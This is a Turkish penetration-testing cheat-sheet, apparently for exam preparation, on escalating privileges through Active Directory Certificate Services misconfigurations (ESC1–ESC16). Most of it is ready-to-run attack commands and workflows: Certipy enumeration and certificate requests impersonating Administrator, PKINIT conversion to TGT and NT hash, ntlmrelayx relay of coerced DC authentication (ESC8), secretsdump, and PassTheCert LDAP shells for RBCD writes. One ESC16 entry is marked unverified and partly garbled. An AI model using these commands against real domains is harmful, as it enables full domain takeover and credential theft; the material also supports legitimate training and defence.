FOOTHOLD Metodoloji Cheat-sheet
PrivEsc ✓ EXAM-SAFE zor :88:389:636:445:80:443

AD CS Sömürüsü — Certipy ile ESC1–ESC16, ESC8 Relay ve PassTheCert

AD Certificate Services yanlış yapılandırmaları (ESC1–ESC16) ile düşük-yetkili kullanıcı, kendisini Administrator olarak belirten bir sertifika talep edip o sertifikayla PKINIT üzerinden TGT/NT hash alır. Certipy find -vulnerable ile tarama, req ile talep, auth ile kimlik; LDAPS imzalama varsa PassTheCert.

Bilgi: ÖN KOŞULLAR
  • Bir domain user credential'ı (find ve çoğu ESC için yeterli)
  • Ortamda Enterprise CA kurulu (Certipy find ile keşfedilir)
  • ESC1 için: client authentication + enrollee-supplies-subject açık + enroll hakkı olan bir template
┌──

Komutlar

certipy ✓ EXAM-SAFE user
certipy find -u {{USER}}@{{DOMAIN}} -p {{PASS}} -dc-ip {{DC_IP}} -vulnerable -stdout
CA'ları ve template'leri enumerate edip yalnızca zafiyetli olanları (ESCx etiketiyle) ekrana bas. JSON/BloodHound çıktısı için -vulnerable'ı bırakıp -bloodhound ekle. Certipy Wiki — find; The Hacker Recipes — ADCS certificate templates
certipy ✓ EXAM-SAFE user
certipy req -u {{USER}}@{{DOMAIN}} -p {{PASS}} -dc-ip {{DC_IP}} -ca 'CA-NAME' -template 'VulnTemplate' -upn administrator@{{DOMAIN}}
ESC1: enrollee-supplies-subject açık template'te SAN/UPN'i Administrator yaparak sertifika talep et. Çıktı administrator.pfx. Certipy Wiki — ESC1; The Hacker Recipes — ESC1
certipy ✓ EXAM-SAFE user
certipy auth -pfx administrator.pfx -dc-ip {{DC_IP}}
PKINIT ile pfx'ten TGT al ve NT hash'i çıkar (UnPAC-the-hash). KRB5CCNAME otomatik set edilir; sonra secretsdump -k veya psexec -k. Certipy Wiki — auth (PKINIT / UnPAC-the-hash)
certipy ✓ EXAM-SAFE user
certipy auth -pfx administrator.pfx -dc-ip {{DC_IP}} -domain {{DOMAIN}} -username administrator
Windows Server 2025 / mayıs 2022 sonrası KB sertifika mapping katılaştığında (StrongCertificateBindingEnforcement), implicit UPN yerine açık -username/-domain ile kimlik doğrula. Certipy Wiki — auth (certificate mapping / strong binding)
impacket-ntlmrelayx ✓ EXAM-SAFE user
impacket-ntlmrelayx -t http://{{RHOST}}/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
ESC8: coerce edilen DC$ kimliğini AD CS Web Enrollment HTTP endpoint'ine relay edip DC sertifikası al. PetitPotam/Coercer ile tetiklenir. The Hacker Recipes — ESC8; Certipy Wiki — ESC8 (relay)
certipy ✓ EXAM-SAFE user
certipy auth -pfx administrator.pfx -ldap-shell -dc-ip {{DC_IP}}
PassTheCert benzeri: PKINIT'in engellendiği (örn. KDC sertifika doğrulama sorunları) ortamlarda sertifikayı LDAPS schannel auth için kullan; -ldap-shell ile RBCD/ACL yaz. Certipy Wiki — auth -ldap-shell (schannel / PassTheCert)
passthecert ✓ EXAM-SAFE user
passthecert.py -action whoami -crt user.crt -key user.key -domain {{DOMAIN}} -dc-ip {{DC_IP}}
PKINIT yerine sertifikayla doğrudan LDAPS schannel bağlanma (AlmondOffSec PassTheCert). -action modify_user / write_rbcd ile yetki yükselt. AlmondOffSec — PassTheCert; The Hacker Recipes — Schannel authentication

AD CS Neden Tehlikeli

Active Directory Certificate Services bir sertifikayı kimliğe (UPN/SAN) bağlar. Eğer bir template yanlış yapılandırılmışsa, düşük-yetkili bir kullanıcı kendisini Administrator olarak belirten geçerli bir sertifika alabilir. Sertifika bir parola değil ama Kerberos PKINIT ile TGT’ye çevrilebilir — yani sertifika = o kullanıcı olarak kimlik. Üstelik sertifikalar uzun ömürlüdür ve parola değişiminden etkilenmez, bu yüzden kalıcılık (persistence) açısından da değerlidir.

ESCx Ailesi (Özet)

  • ESC1 — Template client-authentication için geçerli + ENROLLEE_SUPPLIES_SUBJECT açık + düşük kullanıcıya enroll hakkı. Saldırgan SAN/UPN’i Administrator yapar. (Aşağıda detay.)
  • ESC2 — Any Purpose / SubCA EKU; her amaç için kullanılabilen sertifika.
  • ESC3 — Enrollment Agent template’i; başkası adına enroll.
  • ESC4 — Template üzerinde yazma hakkın (ACL) var; template’i ESC1’e dönüştürürsün.
  • ESC5 — CA nesnesi/PKI objelerinin ACL’leri zayıf.
  • ESC6 — CA’da EDITF_ATTRIBUTESUBJECTALTNAME2 açık; tüm template’lerde SAN enjekte edilebilir.
  • ESC7 — CA üzerinde ManageCA/ManageCertificates hakkı.
  • ESC8 — Web Enrollment (HTTP) NTLM relay (aşağıda detay).
  • ESC9 / ESC10 — Zayıf sertifika mapping (no security extension / UPN mapping).
  • ESC11 — RPC üzerinden ICertPassage relay (IF_ENFORCEENCRYPTICERTREQUEST kapalı).
  • ESC13 — Issuance policy OID’i bir gruba bağlı; sertifika grup üyeliği kazandırır.
  • ESC14 — altSecurityIdentities (explicit mapping) zayıflığı.
  • ESC15 (CVE-2024-49019 / EKUwu) — V1 template’lerde application policy enjeksiyonu.
  • ESC16 — CA güvenlik uzantısı global devre dışı (szOID szanal mapping bypass). [UNVERIFIED — ESC16’nın kesin tetik koşulları Certipy sürümüne göre değişir; certipy find -vulnerable çıktısını esas al.]

ESC1 — Detaylı Akış

  1. Enum: certipy find -vulnerable -stdout. Çıktıda ESC1 etiketli, Client Authentication EKU’lu, Enrollee Supplies Subject : True ve enroll hakkı sende olan bir template ara. CA adını ve template adını not al.
  2. Talep: certipy req ... -ca 'CA-NAME' -template 'VulnTemplate' -upn administrator@{{DOMAIN}}. Kritik: -upn (ya da -sid) ile kimliğin kim olacağını sen belirlersin; bu ESC1’in kalbidir. Çıktı administrator.pfx.
  3. Kimlik: certipy auth -pfx administrator.pfx -dc-ip {{DC_IP}}. PKINIT ile TGT alınır ve UnPAC-the-hash sayesinde Administrator’ın NT hash’i de düşer. Certipy KRB5CCNAME’i ayarlar.
  4. Sonuç: export KRB5CCNAME=administrator.ccache; impacket-secretsdump -k -no-pass {{DC_HOST}} veya elde edilen NT hash ile pass-the-hash.

ESC1 Gotcha — Clock Skew ve Strong Binding

Kerberos saatleri ±5 dk içinde olmalı; DC ile saatin kaymışsa ntpdate {{DC_IP}} / faketime. Ayrıca Mayıs 2022 sonrası StrongCertificateBindingEnforcement ile implicit UPN mapping kısıtlanabilir — bu durumda -sid ile hedefin SID’ini sertifikaya gömmen ya da auth’ta açık -username/-domain vermen gerekir.

ESC8 — Detaylı Akış (Relay)

Web Enrollment (http://ca/certsrv/) NTLM kabul eder ve genelde EPA korumasızdır. ntlmrelayx -t http://{{RHOST}}/certsrv/certfnsh.asp --adcs --template DomainController ile bir coerce (PetitPotam/Coercer, bkz. ad-coerce-relay) tetikleyip DC$ kimliğini bu endpoint’e relay edersin. ntlmrelayx DC adına sertifika çıkarır; o PFX’i certipy auth ile DC’nin TGT/NT hash’ine çevirirsin. Tek başına ESC8 = coercion + relay’in ADCS varyantıdır.

PassTheCert / Schannel

PKINIT bazı ortamlarda engellidir (KDC sertifika doğrulama, dağıtık CA vb.). O zaman sertifikayı LDAPS schannel kimlik doğrulaması için kullanırsın: certipy auth -pfx ... -ldap-shell ya da AlmondOffSec passthecert.py. Bu yolla TGT almadan doğrudan LDAP’e schannel ile bağlanıp RBCD yazma / kullanıcı değiştirme yaparsın. Gotcha: LDAPS schannel için DC’de channel binding zorlanmıyor olmalı.

Sık Hatalar

  • -template adı template display-name değil, çoğu zaman CN’dir; find çıktısındaki ismi birebir kullan.
  • ESC1’de -upn yerine -sid gerektiren strong-binding ortamlarını atlamak: hata KDC_ERR_CLIENT_NAME_MISMATCH verir.
  • ESC8’de certsrv yerine yanlış path (certfnsh.asp zorunlu) ve EPA açıksa relay sessizce başarısız olur.
┌──

Kaynaklar

0/15 set